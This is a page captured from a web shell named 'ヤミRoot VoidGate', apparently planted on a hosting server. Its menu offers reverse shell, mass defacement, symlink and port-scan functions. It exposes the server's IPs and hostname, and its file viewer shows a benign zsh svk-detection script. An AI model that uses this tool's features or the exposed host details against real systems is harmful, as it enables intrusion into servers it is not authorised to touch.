ヤミRoot VoidGate
User / IP
:
216.73.216.49
Host / Server
:
146.88.233.70 / www.dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
usr
/
share
/
zsh
/
5.0.2
/
functions
/
Viewing: VCS_INFO_detect_svk
## vim:ft=zsh ## svk support by: Frank Terbeck <ft@bewatermyfriend.org> ## Distributed under the same BSD-ish license as zsh itself. setopt localoptions NO_shwordsplit [[ $1 == '--flavours' ]] && return 1 # This detection function is a bit different from the others. # We need to read svk's config file to detect a svk repository # in the first place. Therefore, we'll just proceed and read # the other information, too. This is more then any of the # other detections do but this takes only one file open for # svk at most. VCS_INFO_get_data_svk() gets simpler, too. :-) setopt localoptions noksharrays extendedglob local -i fhash fhash=0 VCS_INFO_check_com ${vcs_comm[cmd]} || return 1 [[ -f ~/.svk/config ]] || return 1 while IFS= read -r line ; do if [[ -n ${vcs_comm[basedir]} ]] ; then line=${line## ##} [[ ${line} == depotpath:* ]] && vcs_comm[branch]=${line##*/} [[ ${line} == revision:* ]] && vcs_comm[revision]=${line##*[[:space:]]##} [[ -n ${vcs_comm[branch]} ]] && [[ -n ${vcs_comm[revision]} ]] && break continue fi (( fhash > 0 )) && [[ ${line} == ' '[^[:space:]]*:* ]] && break [[ ${line} == ' hash:'* ]] && fhash=1 && continue (( fhash == 0 )) && continue [[ ${PWD}/ == ${${line## ##}%:*}/* ]] && vcs_comm[basedir]=${${line## ##}%:*} done < ~/.svk/config [[ -n ${vcs_comm[basedir]} ]] && \ [[ -n ${vcs_comm[branch]} ]] && \ [[ -n ${vcs_comm[revision]} ]] && return 0 return 1
Coded With 💗 by
0x6ick